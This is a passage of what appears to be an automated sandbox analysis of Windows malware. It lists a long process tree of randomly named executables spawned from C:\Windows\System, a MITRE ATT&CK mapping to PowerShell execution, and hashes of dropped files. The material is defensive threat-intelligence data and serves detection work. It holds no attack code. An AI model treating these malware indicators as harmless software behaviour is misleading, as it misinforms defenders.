  C:\Windows\System\IjIWHTX.exe
  2⤵
  PID:8708
- C:\Windows\System\LMVuNHj.exe
  C:\Windows\System\LMVuNHj.exe
  2⤵
  PID:8724
- C:\Windows\System\yYpZvMC.exe
  C:\Windows\System\yYpZvMC.exe
  2⤵
  PID:8744
- C:\Windows\System\EXBHyTO.exe
  C:\Windows\System\EXBHyTO.exe
  2⤵
  PID:8764
- C:\Windows\System\NbktCiB.exe
  C:\Windows\System\NbktCiB.exe
  2⤵
  PID:8788
- C:\Windows\System\MeNfLXy.exe
  C:\Windows\System\MeNfLXy.exe
  2⤵
  PID:8812
- C:\Windows\System\AssRoQr.exe
  C:\Windows\System\AssRoQr.exe
  2⤵
  PID:8836
- C:\Windows\System\CrhERuY.exe
  C:\Windows\System\CrhERuY.exe
  2⤵
  PID:8852
- C:\Windows\System\VWViMgM.exe
  C:\Windows\System\VWViMgM.exe
  2⤵
  PID:8876
- C:\Windows\System\PvVsNlt.exe
  C:\Windows\System\PvVsNlt.exe
  2⤵
  PID:8892
- C:\Windows\System\aYZORdh.exe
  C:\Windows\System\aYZORdh.exe
  2⤵
  PID:8916
- C:\Windows\System\PuyQQab.exe
  C:\Windows\System\PuyQQab.exe
  2⤵
  PID:8936
- C:\Windows\System\FQYmNjJ.exe
  C:\Windows\System\FQYmNjJ.exe
  2⤵
  PID:8952
- C:\Windows\System\GhtMhIc.exe
  C:\Windows\System\GhtMhIc.exe
  2⤵
  PID:8976
- C:\Windows\System\NZrPten.exe
  C:\Windows\System\NZrPten.exe
  2⤵
  PID:8992
- C:\Windows\System\YKGLQpp.exe
  C:\Windows\System\YKGLQpp.exe
  2⤵
  PID:9008
- C:\Windows\System\efpRCGM.exe
  C:\Windows\System\efpRCGM.exe
  2⤵
  PID:9024
- C:\Windows\System\zsHmjkT.exe
  C:\Windows\System\zsHmjkT.exe
  2⤵
  PID:9044
- C:\Windows\System\sfTxYiE.exe
  C:\Windows\System\sfTxYiE.exe
  2⤵
  PID:9064
- C:\Windows\System\amvwDkO.exe
  C:\Windows\System\amvwDkO.exe
  2⤵
  PID:9080
- C:\Windows\System\xtpRyLW.exe
  C:\Windows\System\xtpRyLW.exe
  2⤵
  PID:9096
- C:\Windows\System\RIobTDN.exe
  C:\Windows\System\RIobTDN.exe
  2⤵
  PID:9116
- C:\Windows\System\olDBAuD.exe
  C:\Windows\System\olDBAuD.exe
  2⤵
  PID:9132
- C:\Windows\System\TAGiSKG.exe
  C:\Windows\System\TAGiSKG.exe
  2⤵
  PID:9148
- C:\Windows\System\fVFxpqq.exe
  C:\Windows\System\fVFxpqq.exe
  2⤵
  PID:9168
- C:\Windows\System\pwTnDWA.exe
  C:\Windows\System\pwTnDWA.exe
  2⤵
  PID:9188
- C:\Windows\System\auDRjyf.exe
  C:\Windows\System\auDRjyf.exe
  2⤵
  PID:9212
- C:\Windows\System\VHLMTcY.exe
  C:\Windows\System\VHLMTcY.exe
  2⤵
  PID:7584
- C:\Windows\System\ZujCNws.exe
  C:\Windows\System\ZujCNws.exe
  2⤵
  PID:8224
- C:\Windows\System\HCzcyCM.exe
  C:\Windows\System\HCzcyCM.exe
  2⤵
  PID:7408
- C:\Windows\System\htzfFhV.exe
  C:\Windows\System\htzfFhV.exe
  2⤵
  PID:7236
- C:\Windows\System\vVdnRJY.exe
  C:\Windows\System\vVdnRJY.exe
  2⤵
  PID:8176
- C:\Windows\System\fsTYRCl.exe
  C:\Windows\System\fsTYRCl.exe
  2⤵
  PID:7440
- C:\Windows\System\mvYxOzz.exe
  C:\Windows\System\mvYxOzz.exe
  2⤵
  PID:7420
- C:\Windows\System\QXbwVCo.exe
  C:\Windows\System\QXbwVCo.exe
  2⤵
  PID:8260
- C:\Windows\System\ezHKtTe.exe
  C:\Windows\System\ezHKtTe.exe
  2⤵
  PID:8240
- C:\Windows\System\fDAxuMk.exe
  C:\Windows\System\fDAxuMk.exe
  2⤵
  PID:8292
- C:\Windows\System\KZNvHfH.exe
  C:\Windows\System\KZNvHfH.exe
  2⤵
  PID:8300
- C:\Windows\System\iJKCYEa.exe
  C:\Windows\System\iJKCYEa.exe
  2⤵
  PID:8316
- C:\Windows\System\AxCJNGA.exe
  C:\Windows\System\AxCJNGA.exe
  2⤵
  PID:8360
- C:\Windows\System\szjxNzx.exe
  C:\Windows\System\szjxNzx.exe
  2⤵
  PID:8392
- C:\Windows\System\AhmTpQg.exe
  C:\Windows\System\AhmTpQg.exe
  2⤵
  PID:8412
- C:\Windows\System\sZTGhjJ.exe
  C:\Windows\System\sZTGhjJ.exe
  2⤵
  PID:8420
- C:\Windows\System\wsRRYhM.exe
  C:\Windows\System\wsRRYhM.exe
  2⤵
  PID:8444
- C:\Windows\System\qJxbivS.exe
  C:\Windows\System\qJxbivS.exe
  2⤵
  PID:8456
- C:\Windows\System\lWMOcIV.exe
  C:\Windows\System\lWMOcIV.exe
  2⤵
  PID:8500
- C:\Windows\System\CLntfHs.exe
  C:\Windows\System\CLntfHs.exe
  2⤵
  PID:8548
- C:\Windows\System\oJLwSzX.exe
  C:\Windows\System\oJLwSzX.exe
  2⤵
  PID:8648
- C:\Windows\System\FADfiLR.exe
  C:\Windows\System\FADfiLR.exe
  2⤵
  PID:8528
- C:\Windows\System\mTLriGT.exe
  C:\Windows\System\mTLriGT.exe
  2⤵
  PID:8596
- C:\Windows\System\ZrBnThN.exe
  C:\Windows\System\ZrBnThN.exe
  2⤵
  PID:8672
- C:\Windows\System\qExNnKb.exe
  C:\Windows\System\qExNnKb.exe
  2⤵
  PID:8688
- C:\Windows\System\EvbZFFu.exe
  C:\Windows\System\EvbZFFu.exe
  2⤵
  PID:8740
- C:\Windows\System\ROuOUHM.exe
  C:\Windows\System\ROuOUHM.exe
  2⤵
  PID:8776
- C:\Windows\System\JhHJNPE.exe
  C:\Windows\System\JhHJNPE.exe
  2⤵
  PID:8796
- C:\Windows\System\bUEAVaP.exe
  C:\Windows\System\bUEAVaP.exe
  2⤵
  PID:8948
- C:\Windows\System\BLsOqDk.exe
  C:\Windows\System\BLsOqDk.exe
  2⤵
  PID:8984
- C:\Windows\System\QNfdYjC.exe
  C:\Windows\System\QNfdYjC.exe
  2⤵
  PID:9056
- C:\Windows\System\YEivBIr.exe
  C:\Windows\System\YEivBIr.exe
  2⤵
  PID:9156
- C:\Windows\System\JtHCapU.exe
  C:\Windows\System\JtHCapU.exe
  2⤵
  PID:9200
- C:\Windows\System\zRBpKan.exe
  C:\Windows\System\zRBpKan.exe
  2⤵
  PID:8188
- C:\Windows\System\xEAdbti.exe
  C:\Windows\System\xEAdbti.exe
  2⤵
  PID:7256
- C:\Windows\System\IswOfHz.exe
  C:\Windows\System\IswOfHz.exe
  2⤵
  PID:8088
- C:\Windows\System\vIuidcs.exe
  C:\Windows\System\vIuidcs.exe
  2⤵
  PID:8364
- C:\Windows\System\LmJUpKy.exe
  C:\Windows\System\LmJUpKy.exe
  2⤵
  PID:8460
- C:\Windows\System\CCCZprl.exe
  C:\Windows\System\CCCZprl.exe
  2⤵
  PID:7884
- C:\Windows\System\CVLoIhz.exe
  C:\Windows\System\CVLoIhz.exe
  2⤵
  PID:8664
- C:\Windows\System\oZBOdWs.exe
  C:\Windows\System\oZBOdWs.exe
  2⤵
  PID:8732
- C:\Windows\System\HljCFHm.exe
  C:\Windows\System\HljCFHm.exe
  2⤵
  PID:8084
- C:\Windows\System\OkWPjVB.exe
  C:\Windows\System\OkWPjVB.exe
  2⤵
  PID:9032
- C:\Windows\System\NDOcZVv.exe
  C:\Windows\System\NDOcZVv.exe
  2⤵
  PID:8252
- C:\Windows\System\zjAGKtu.exe
  C:\Windows\System\zjAGKtu.exe
  2⤵
  PID:8848
- C:\Windows\System\JTjQRXR.exe
  C:\Windows\System\JTjQRXR.exe
  2⤵
  PID:8624
- C:\Windows\System\nQmsYPb.exe
  C:\Windows\System\nQmsYPb.exe
  2⤵
  PID:8960
- C:\Windows\System\yKtikZe.exe
  C:\Windows\System\yKtikZe.exe
  2⤵
  PID:8924
- C:\Windows\System\OFzeUrG.exe
  C:\Windows\System\OFzeUrG.exe
  2⤵
  PID:9140
- C:\Windows\System\nVnqSIR.exe
  C:\Windows\System\nVnqSIR.exe
  2⤵
  PID:8932
- C:\Windows\System\Hzpttfv.exe
  C:\Windows\System\Hzpttfv.exe
  2⤵
  PID:8476
- C:\Windows\System\GvMjUrX.exe
  C:\Windows\System\GvMjUrX.exe
  2⤵
  PID:8644
- C:\Windows\System\yvwHQvH.exe
  C:\Windows\System\yvwHQvH.exe
  2⤵
  PID:8912
- C:\Windows\System\ChNmyvT.exe
  C:\Windows\System\ChNmyvT.exe
  2⤵
  PID:8760
- C:\Windows\System\gsXCFIB.exe
  C:\Windows\System\gsXCFIB.exe
  2⤵
  PID:8844
- C:\Windows\System\HEJrAEW.exe
  C:\Windows\System\HEJrAEW.exe
  2⤵
  PID:8928
- C:\Windows\System\jozompU.exe
  C:\Windows\System\jozompU.exe
  2⤵
  PID:9208
- C:\Windows\System\WCFhJxo.exe
  C:\Windows\System\WCFhJxo.exe
  2⤵
  PID:8220
- C:\Windows\System\LmucClt.exe
  C:\Windows\System\LmucClt.exe
  2⤵
  PID:8400
- C:\Windows\System\pVeSyCl.exe
  C:\Windows\System\pVeSyCl.exe
  2⤵
  PID:8660
- C:\Windows\System\UqFsiXJ.exe
  C:\Windows\System\UqFsiXJ.exe
  2⤵
  PID:1564
- C:\Windows\System\OKbfQXL.exe
  C:\Windows\System\OKbfQXL.exe
  2⤵
  PID:9164
- C:\Windows\System\sOgHCaX.exe
  C:\Windows\System\sOgHCaX.exe
  2⤵
  PID:8884
- C:\Windows\System\AOrbIWD.exe
  C:\Windows\System\AOrbIWD.exe
  2⤵
  PID:8820
- C:\Windows\System\KBqjmOq.exe
  C:\Windows\System\KBqjmOq.exe
  2⤵
  PID:8128
- C:\Windows\System\HDLqvTy.exe
  C:\Windows\System\HDLqvTy.exe
  2⤵
  PID:8716
- C:\Windows\System\AaJMLaF.exe
  C:\Windows\System\AaJMLaF.exe
  2⤵
  PID:8204
- C:\Windows\System\dXZsTsq.exe
  C:\Windows\System\dXZsTsq.exe
  2⤵
  PID:9180
- C:\Windows\System\YcCZUbe.exe
  C:\Windows\System\YcCZUbe.exe
  2⤵
  PID:8336
- C:\Windows\System\HnoCJfd.exe
  C:\Windows\System\HnoCJfd.exe
  2⤵
  PID:8356
- C:\Windows\System\baPOBNT.exe
  C:\Windows\System\baPOBNT.exe
  2⤵
  PID:8888
- C:\Windows\System\AvojrrF.exe
  C:\Windows\System\AvojrrF.exe
  2⤵
  PID:8684
- C:\Windows\System\drBEJoD.exe
  C:\Windows\System\drBEJoD.exe
  2⤵
  PID:8612
- C:\Windows\System\lxySWJZ.exe
  C:\Windows\System\lxySWJZ.exe
  2⤵
  PID:8440
- C:\Windows\System\ZuOnVKX.exe
  C:\Windows\System\ZuOnVKX.exe
  2⤵
  PID:8472
- C:\Windows\System\ZUohAmv.exe
  C:\Windows\System\ZUohAmv.exe
  2⤵
  PID:8780
- C:\Windows\System\ekAsYGt.exe
  C:\Windows\System\ekAsYGt.exe
  2⤵
  PID:8828
- C:\Windows\System\zGfCuZU.exe
  C:\Windows\System\zGfCuZU.exe
  2⤵
  PID:9076
- C:\Windows\System\EYqnKPm.exe
  C:\Windows\System\EYqnKPm.exe
  2⤵
  PID:8900
- C:\Windows\System\qNggbUD.exe
  C:\Windows\System\qNggbUD.exe
  2⤵
  PID:8564
- C:\Windows\System\QjJEszk.exe
  C:\Windows\System\QjJEszk.exe
  2⤵
  PID:8944
- C:\Windows\System\vnpBDyd.exe
  C:\Windows\System\vnpBDyd.exe
  2⤵
  PID:9128
- C:\Windows\System\sZnmNyy.exe
  C:\Windows\System\sZnmNyy.exe
  2⤵
  PID:8196
- C:\Windows\System\GzPjqyg.exe
  C:\Windows\System\GzPjqyg.exe
  2⤵
  PID:8544
- C:\Windows\System\gHSumkf.exe
  C:\Windows\System\gHSumkf.exe
  2⤵
  PID:7792
- C:\Windows\System\DSLAMFp.exe
  C:\Windows\System\DSLAMFp.exe
  2⤵
  PID:9000
- C:\Windows\System\CAQNUcX.exe
  C:\Windows\System\CAQNUcX.exe
  2⤵
  PID:7920
- C:\Windows\System\MixxVoL.exe
  C:\Windows\System\MixxVoL.exe
  2⤵
  PID:7984
- C:\Windows\System\XsHnSWM.exe
  C:\Windows\System\XsHnSWM.exe
  2⤵
  PID:8832
- C:\Windows\System\tTlVlDo.exe
  C:\Windows\System\tTlVlDo.exe
  2⤵
  PID:8520
- C:\Windows\System\EtkAtOh.exe
  C:\Windows\System\EtkAtOh.exe
  2⤵
  PID:9232
- C:\Windows\System\EdZONQj.exe
  C:\Windows\System\EdZONQj.exe
  2⤵
  PID:9248
- C:\Windows\System\ftehvrO.exe
  C:\Windows\System\ftehvrO.exe
  2⤵
  PID:9284
- C:\Windows\System\CynmuQM.exe
  C:\Windows\System\CynmuQM.exe
  2⤵
  PID:9308
- C:\Windows\System\bXTEAnV.exe
  C:\Windows\System\bXTEAnV.exe
  2⤵
  PID:9340
- C:\Windows\System\coOnmqp.exe
  C:\Windows\System\coOnmqp.exe
  2⤵
  PID:9360
- C:\Windows\System\PIOxAIi.exe
  C:\Windows\System\PIOxAIi.exe
  2⤵
  PID:9380
- C:\Windows\System\AiGrLeP.exe
  C:\Windows\System\AiGrLeP.exe
  2⤵
  PID:9400
- C:\Windows\System\FadXBZK.exe
  C:\Windows\System\FadXBZK.exe
  2⤵
  PID:9420
- C:\Windows\System\bgcVNSn.exe
  C:\Windows\System\bgcVNSn.exe
  2⤵
  PID:9444
- C:\Windows\System\WsRlYpr.exe
  C:\Windows\System\WsRlYpr.exe
  2⤵
  PID:9464
- C:\Windows\System\BtxTrsb.exe
  C:\Windows\System\BtxTrsb.exe
  2⤵
  PID:9484
- C:\Windows\System\JrtHHnz.exe
  C:\Windows\System\JrtHHnz.exe
  2⤵
  PID:9504
- C:\Windows\System\WpmeDTM.exe
  C:\Windows\System\WpmeDTM.exe
  2⤵
  PID:9520
- C:\Windows\System\BvhjdSn.exe
  C:\Windows\System\BvhjdSn.exe
  2⤵
  PID:9536
- C:\Windows\System\Nylverz.exe
  C:\Windows\System\Nylverz.exe
  2⤵
  PID:9560
- C:\Windows\System\fhXPqxC.exe
  C:\Windows\System\fhXPqxC.exe
  2⤵
  PID:9580
- C:\Windows\System\GiExrwi.exe
  C:\Windows\System\GiExrwi.exe
  2⤵
  PID:9600
- C:\Windows\System\JZtgSZf.exe
  C:\Windows\System\JZtgSZf.exe
  2⤵
  PID:9616
- C:\Windows\System\fBRPqFr.exe
  C:\Windows\System\fBRPqFr.exe
  2⤵
  PID:9636
- C:\Windows\System\vONEKms.exe
  C:\Windows\System\vONEKms.exe
  2⤵
  PID:9652
- C:\Windows\System\CmrdSJN.exe
  C:\Windows\System\CmrdSJN.exe
  2⤵
  PID:9672
- C:\Windows\System\slPuGKq.exe
  C:\Windows\System\slPuGKq.exe
  2⤵
  PID:9688
- C:\Windows\System\yszOqJx.exe
  C:\Windows\System\yszOqJx.exe
  2⤵
  PID:9708
- C:\Windows\System\OxRItBj.exe
  C:\Windows\System\OxRItBj.exe
  2⤵
  PID:9724
- C:\Windows\System\uZigrGl.exe
  C:\Windows\System\uZigrGl.exe
  2⤵
  PID:9740
- C:\Windows\System\NSgDDaM.exe
  C:\Windows\System\NSgDDaM.exe
  2⤵
  PID:9760
- C:\Windows\System\WLAMOSz.exe
  C:\Windows\System\WLAMOSz.exe
  2⤵
  PID:9776
- C:\Windows\System\OeqDHwC.exe
  C:\Windows\System\OeqDHwC.exe
  2⤵
  PID:9796
- C:\Windows\System\TuJAwvE.exe
  C:\Windows\System\TuJAwvE.exe
  2⤵
  PID:9820
- C:\Windows\System\EqeFoYU.exe
  C:\Windows\System\EqeFoYU.exe
  2⤵
  PID:9836
- C:\Windows\System\QQHYinZ.exe
  C:\Windows\System\QQHYinZ.exe
  2⤵
  PID:9884
- C:\Windows\System\bhsmmAb.exe
  C:\Windows\System\bhsmmAb.exe
  2⤵
  PID:9904
- C:\Windows\System\dpAbEwB.exe
  C:\Windows\System\dpAbEwB.exe
  2⤵
  PID:9924
- C:\Windows\System\NaGwSAD.exe
  C:\Windows\System\NaGwSAD.exe
  2⤵
  PID:9940
- C:\Windows\System\bIhLFLu.exe
  C:\Windows\System\bIhLFLu.exe
  2⤵
  PID:9960
- C:\Windows\System\HDHeLCt.exe
  C:\Windows\System\HDHeLCt.exe
  2⤵
  PID:9980
- C:\Windows\System\CXUflJG.exe
  C:\Windows\System\CXUflJG.exe
  2⤵
  PID:10000
- C:\Windows\System\xEVaePt.exe
  C:\Windows\System\xEVaePt.exe
  2⤵
  PID:10016
- C:\Windows\System\iCkZUJM.exe
  C:\Windows\System\iCkZUJM.exe
  2⤵
  PID:10032
- C:\Windows\System\MOfWlMj.exe
  C:\Windows\System\MOfWlMj.exe
  2⤵
  PID:10052
- C:\Windows\System\bACJVJU.exe
  C:\Windows\System\bACJVJU.exe
  2⤵
  PID:10072
- C:\Windows\System\hBiyBGD.exe
  C:\Windows\System\hBiyBGD.exe
  2⤵
  PID:10092
- C:\Windows\System\qSYqOqH.exe
  C:\Windows\System\qSYqOqH.exe
  2⤵
  PID:10116
- C:\Windows\System\ZUbivPS.exe
  C:\Windows\System\ZUbivPS.exe
  2⤵
  PID:10132
- C:\Windows\System\taahcVm.exe
  C:\Windows\System\taahcVm.exe
  2⤵
  PID:10148
- C:\Windows\System\KbiDpoN.exe
  C:\Windows\System\KbiDpoN.exe
  2⤵
  PID:10188
- C:\Windows\System\IkzytBV.exe
  C:\Windows\System\IkzytBV.exe
  2⤵
  PID:10208
- C:\Windows\System\fYnkHzF.exe
  C:\Windows\System\fYnkHzF.exe
  2⤵
  PID:10224
- C:\Windows\System\PDJOkWK.exe
  C:\Windows\System\PDJOkWK.exe
  2⤵
  PID:8580
- C:\Windows\System\wdvZNOD.exe
  C:\Windows\System\wdvZNOD.exe
  2⤵
  PID:9244
- C:\Windows\System\hSyIDeN.exe
  C:\Windows\System\hSyIDeN.exe
  2⤵
  PID:8824
- C:\Windows\System\sJXPVVz.exe
  C:\Windows\System\sJXPVVz.exe
  2⤵
  PID:9272
- C:\Windows\System\tSegYuY.exe
  C:\Windows\System\tSegYuY.exe
  2⤵
  PID:9300
- C:\Windows\System\amIdDUo.exe
  C:\Windows\System\amIdDUo.exe
  2⤵
  PID:9320
- C:\Windows\System\IcWGWRi.exe
  C:\Windows\System\IcWGWRi.exe
  2⤵
  PID:9336
- C:\Windows\System\rJFMyzt.exe
  C:\Windows\System\rJFMyzt.exe
  2⤵
  PID:9368
- C:\Windows\System\RDiHFYp.exe
  C:\Windows\System\RDiHFYp.exe
  2⤵
  PID:8352
- C:\Windows\System\xbjbEZS.exe
  C:\Windows\System\xbjbEZS.exe
  2⤵
  PID:9416
- C:\Windows\System\HwODfCS.exe
  C:\Windows\System\HwODfCS.exe
  2⤵
  PID:9476
- C:\Windows\System\OHUjteu.exe
  C:\Windows\System\OHUjteu.exe
  2⤵
  PID:9516
- C:\Windows\System\AjoqlXF.exe
  C:\Windows\System\AjoqlXF.exe
  2⤵
  PID:9588
- C:\Windows\System\ngMWxcH.exe
  C:\Windows\System\ngMWxcH.exe
  2⤵
  PID:9628
- C:\Windows\System\rRaUXwJ.exe
  C:\Windows\System\rRaUXwJ.exe
  2⤵
  PID:9668
- C:\Windows\System\OHOSMfM.exe
  C:\Windows\System\OHOSMfM.exe
  2⤵
  PID:9732
- C:\Windows\System\NZLoBfn.exe
  C:\Windows\System\NZLoBfn.exe
  2⤵
  PID:9804
- C:\Windows\System\hoOtQAw.exe
  C:\Windows\System\hoOtQAw.exe
  2⤵
  PID:9816
- C:\Windows\System\DyLMXLi.exe
  C:\Windows\System\DyLMXLi.exe
  2⤵
  PID:9856
- C:\Windows\System\jjxzLzr.exe
  C:\Windows\System\jjxzLzr.exe
  2⤵
  PID:9112
- C:\Windows\System\lHsRVcv.exe
  C:\Windows\System\lHsRVcv.exe
  2⤵
  PID:9872
- C:\Windows\System\ziRJFKP.exe
  C:\Windows\System\ziRJFKP.exe
  2⤵
  PID:9880
- C:\Windows\System\WqdEfvz.exe
  C:\Windows\System\WqdEfvz.exe
  2⤵
  PID:9532
- C:\Windows\System\xstrTug.exe
  C:\Windows\System\xstrTug.exe
  2⤵
  PID:9916
- C:\Windows\System\ZcvRQWg.exe
  C:\Windows\System\ZcvRQWg.exe
  2⤵
  PID:9608
- C:\Windows\System\NChgJqe.exe
  C:\Windows\System\NChgJqe.exe
  2⤵
  PID:9952
- C:\Windows\System\NNObOwV.exe
  C:\Windows\System\NNObOwV.exe
  2⤵
  PID:9956
- C:\Windows\System\xmSZMrM.exe
  C:\Windows\System\xmSZMrM.exe
  2⤵
  PID:9832
- C:\Windows\System\rTXouNJ.exe
  C:\Windows\System\rTXouNJ.exe
  2⤵
  PID:10024
- C:\Windows\System\yRYBtFp.exe
  C:\Windows\System\yRYBtFp.exe
  2⤵
  PID:10112
- C:\Windows\System\VEkKecv.exe
  C:\Windows\System\VEkKecv.exe
  2⤵
  PID:9896
- C:\Windows\System\SjYJrEo.exe
  C:\Windows\System\SjYJrEo.exe
  2⤵
  PID:10084
- C:\Windows\System\JhlGOYd.exe
  C:\Windows\System\JhlGOYd.exe
  2⤵
  PID:10008
- C:\Windows\System\cgndgdZ.exe
  C:\Windows\System\cgndgdZ.exe
  2⤵
  PID:9260
- C:\Windows\System\ACffjkb.exe
  C:\Windows\System\ACffjkb.exe
  2⤵
  PID:8308
- C:\Windows\System\IChXqRF.exe
  C:\Windows\System\IChXqRF.exe
  2⤵
  PID:9348
- C:\Windows\System\bEabSEZ.exe
  C:\Windows\System\bEabSEZ.exe
  2⤵
  PID:10160
- C:\Windows\System\QcCwAzH.exe
  C:\Windows\System\QcCwAzH.exe
  2⤵
  PID:10088
- C:\Windows\System\iuxMViV.exe
  C:\Windows\System\iuxMViV.exe
  2⤵
  PID:10180
- C:\Windows\System\QLRtaxp.exe
  C:\Windows\System\QLRtaxp.exe
  2⤵
  PID:9316
- C:\Windows\System\sLOWPKJ.exe
  C:\Windows\System\sLOWPKJ.exe
  2⤵
  PID:9240
- C:\Windows\System\tPumBlp.exe
  C:\Windows\System\tPumBlp.exe
  2⤵
  PID:9408
- C:\Windows\System\sCfnrUR.exe
  C:\Windows\System\sCfnrUR.exe
  2⤵
  PID:9460
- C:\Windows\System\QTOuWok.exe
  C:\Windows\System\QTOuWok.exe
  2⤵
  PID:9432
- C:\Windows\System\vuzJFGB.exe
  C:\Windows\System\vuzJFGB.exe
  2⤵
  PID:9768
- C:\Windows\System\vgFDshS.exe
  C:\Windows\System\vgFDshS.exe
  2⤵
  PID:9864
- C:\Windows\System\beCHBgD.exe
  C:\Windows\System\beCHBgD.exe
  2⤵
  PID:9528
- C:\Windows\System\GnupTmn.exe
  C:\Windows\System\GnupTmn.exe
  2⤵
  PID:9512
- C:\Windows\System\EVKieNq.exe
  C:\Windows\System\EVKieNq.exe
  2⤵
  PID:9812
- C:\Windows\System\nQBYgpx.exe
  C:\Windows\System\nQBYgpx.exe
  2⤵
  PID:9376
- C:\Windows\System\iVOvJlm.exe
  C:\Windows\System\iVOvJlm.exe
  2⤵
  PID:9912
- C:\Windows\System\LmQkDaz.exe
  C:\Windows\System\LmQkDaz.exe
  2⤵
  PID:9932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AMBopaD.exe

Filesize
2.9MB

MD5
da8cf28f36e3c73c9d49423a9c6ce838

SHA1
8d3c8e55136727b969c57041c3f6dac890268f94

SHA256
d4d0b66e01d1d63ec88f377bfc00cd1d3b7a65381f64d9c2acbb32253687f7d2

SHA512
42a25b67ac6e4d3dedf59104104b3d8d452bc701de6018d6827c4b0f4e6ec6687c4028dd1f3a8d6fd2784139c6f5fe79ef83b24aac935806dc3493ae79be8fef

Download Submit
C:\Windows\system\HPRaVhw.exe

Filesize
2.9MB

MD5
71483c4219be46df2e370e0f64fe450a

SHA1
e542003d2aba818a138117fb7338ceed78cf9a31

SHA256
82c40ce6ad307c5c117a241f1be99e02c77dcec00d874981660969c097fd9cbd

SHA512
1cfc8e2d0f136c99fe9c8b8a36d0f20de5a8d7b180ba856a842c05a714f7a403bd82ed9e26824c1436af69ae2b6cfa3ffb2867924248e47d42493690f303e647

Download Submit
C:\Windows\system\JCdFUVz.exe

Filesize
2.9MB

MD5
a6fa66b816143129e63e8af9fd05d69c

SHA1
17eb23617b8486af0cdc918fabf752cd6ef94401

SHA256
1a02dee71ea451914ee2dd83b45ccff5894dbe0e0e3fe4a13920ffff4c0547f0

SHA512
d377f7fee4be6b6aaf4ee4a92403026d2ab1cc76a6ea07f44e5e1bbe0d8e843daea7b2bd4c1285c654e4b2a146770299f6c887c044a41f893dc74056f17b5d8d

Download Submit
C:\Windows\system\JOnfLEt.exe

Filesize
2.9MB

MD5
297a1a8da7e24557744406ef2e6a99bf

SHA1
f7834a2b84b365168e0b9848da82ff8f6f789015

SHA256
fb2e743311d95bf1f85915ed93d68fb91458b191c0ff88e6a6d89f8c95967bb5

SHA512
2966b9e1e8806b6ca17de49d7a000def01360b8e5320d1950e2733d2b9cd6c64673c78c99a89d73e5ac29e642502fac7eb0aa5da802eac8fcb067b17c3e824b2

Download Submit
C:\Windows\system\JYZoEaE.exe

Filesize
2.9MB

MD5
852ded308c6b507cc8b03fd40850b510

SHA1
bb8ae46ea95833c32be739edef6ae8b4ae09b06e

SHA256
54ff89d0ae73fc732fa4d062055e713d8afada2a1fbe5b76cb4bf10ee8c48d58

SHA512
7a79e6bfd66c67b50381888a127d8d4a9073b6529b6f11cb82984c1a7223a9cbd391675abdd3838f648ad7e8d056768497c35ca8930d3f598936a3ac33acf61f

Download Submit
C:\Windows\system\ODnPnea.exe

Filesize
2.9MB

MD5
0fc2400b9a16365bf0ed1be8dd39a3b6

SHA1
c6b2a7a9a001968a906addb1a1c24813477c8e0f

SHA256
34b047ebc52b6dab9447f6992a3fa84d8b1879a9daa2fb0279e41ba0c1f8c825

SHA512
7a802f2c793a71c85c16d2cad15d4b14fb22d757de089bf44cf10860a6234b829e8a06553a6905292c1cf9dbc1bac64629f8e3f0091eb3fd11bd858d0861611b

Download Submit
C:\Windows\system\OwAPTva.exe

Filesize
2.9MB

MD5
39cd59343226465295406df8983a65ed

SHA1
ba9845f6818ef8edaf40b0a71d1aca1a42d05d40

SHA256
f2ce8e0ed3cba0d4b5808cc52709339eaf50e9fd9f97a6b985223d83866ec585

SHA512
663c6af8775841b3acda33441f2bf0952d051689d86b767b4aee1954792b0e01f8c2fc2955b8ddc4856b726d89056b288a76c347dcbab31001a2325f274df1d5

Download Submit
C:\Windows\system\UcjKRdl.exe

Filesize
2.9MB

MD5
bffa0cc354f5dc1a951ca667365cf3cc

SHA1
9c3efa544b16dc568495dda4efa4ed2ed997398d

SHA256
e786a54581baa917013e0b6d9bd9673d3834c013498932b5c2e4c52f32dae67c

SHA512
7daa96559f148ff5fb80f1e801bf3cff9511517fdf8e3c906666a63dc30050a393983f5bdced7fe6bd462b6428201292c2d0f12be1348a3ecfec142fbb5afceb

Download Submit
C:\Windows\system\WoXxZpZ.exe

Filesize
2.9MB

MD5
124030f5714ddadf53d21004088472c1

SHA1
dd3b76911f8360f09c0302e40909367518cbdf16

SHA256
4c3278d41e965bd696a0e9c5f1e890e16faa6bcb15e2f97f04cf02c8adf76e61

SHA512
12f1733990d2b8dbc9b6e0e937fd4552a5f899683eb3885a5cb3999db3eff84f48b93fc8c5ac31901e2e0c2efd8b3e10558713bd6bfce51ed22169c565c5bd7f

Download Submit
C:\Windows\system\YenVqHk.exe

Filesize
2.9MB

MD5
46f7c37ffbeab9c09ba130e32f92bda9

SHA1
ba34862e6494285fd9e065dd73be3cd9cc6639b9

SHA256
06db54bfee25f351d2f3a359846303eb235ba213a4384c724329a52df442f4cd

SHA512
100c96550a5a629df4aca4b77190e631bc43f2f853a4511929404ed5f19df2e16ba5d2bbbfbc1f641a32800f70727f81ce2293197eb6b2886cadc13f81c9bf0c

Download Submit
C:\Windows\system\aMLVdis.exe

Filesize
2.9MB

MD5
79703674fbceffe070adb0daebd789f4

SHA1
3a1541805b03aa549b4d38ccbc71a7dd90749710

SHA256
6ac96294af3eef12375516a14cec6f6a209400d5ec0ed1f9f5f0ad7afb1f752a

SHA512
1be510876e5a213a4d552343a609d00332e5b1fba1f6a1f2aece33f98825f4963973c088f81c1fc36f94e0907a54f54059095666c142396d250817a378d829f2

Download Submit
C:\Windows\system\cfwnFkb.exe

Filesize
2.9MB

MD5
ba9cfc3517fa8cf58765c7a8b32c013c

SHA1
766dc86ff043cd8365ffeb727247949749e6e97e

SHA256
00ac71502b157ad306096956806003989d600f7d3f8881058dc7b96b2124b6a0

SHA512
11a4b6b86dd595e0f2250914a296589ade8b5253ce406e6d7cc9a5ec78a8a2fa8a5cdc98879d8d25de1923079dbea1c2455fabbd25f743c4b6d662a7c11fdd08

Download Submit
C:\Windows\system\pSOetrx.exe

Filesize
2.9MB

MD5
7ca788b1b55b250a34f1157693804d92

SHA1
f5ff7d1b4483ee067a46d8d4d9b28ec4060a98b1

SHA256
664f3fa6942f42b1d293e210378290c75f185641fa28e54708836b32c81aed8f

SHA512
